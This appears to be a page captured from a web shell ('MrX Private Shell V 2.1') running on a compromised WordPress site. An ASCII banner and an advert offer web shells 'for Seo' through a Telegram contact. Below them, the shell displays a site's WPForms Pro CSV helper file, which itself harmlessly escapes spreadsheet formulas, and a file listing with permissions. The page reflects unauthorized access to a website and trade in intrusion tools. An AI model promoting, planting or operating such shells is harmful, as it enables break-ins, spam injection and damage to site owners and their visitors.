__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace WPForms\Pro\Helpers;
/**
* CSV related helper methods.
*
* @since 1.7.7
*/
class CSV {
/**
* Formulas start characters.
*
* @since 1.7.7
*
* @var array
*/
const FORMULAS_START_CHARS = [ '=', '-', '+', '@', "\t", "\r" ];
/**
* Escape string for CSV.
*
* @since 1.7.7
*
* @param mixed $value Value to escape.
*
* @return string
*/
public function escape_value( $value ) {
// Prevent formulas in spreadsheet applications.
if ( in_array( substr( (string) $value, 0, 1 ), self::FORMULAS_START_CHARS, true ) ) {
$value = "'" . $value;
}
return html_entity_decode( $value, ENT_QUOTES );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CSV.php | File | 654 B | 0640 |
|
| Upload.php | File | 12.16 KB | 0640 |
|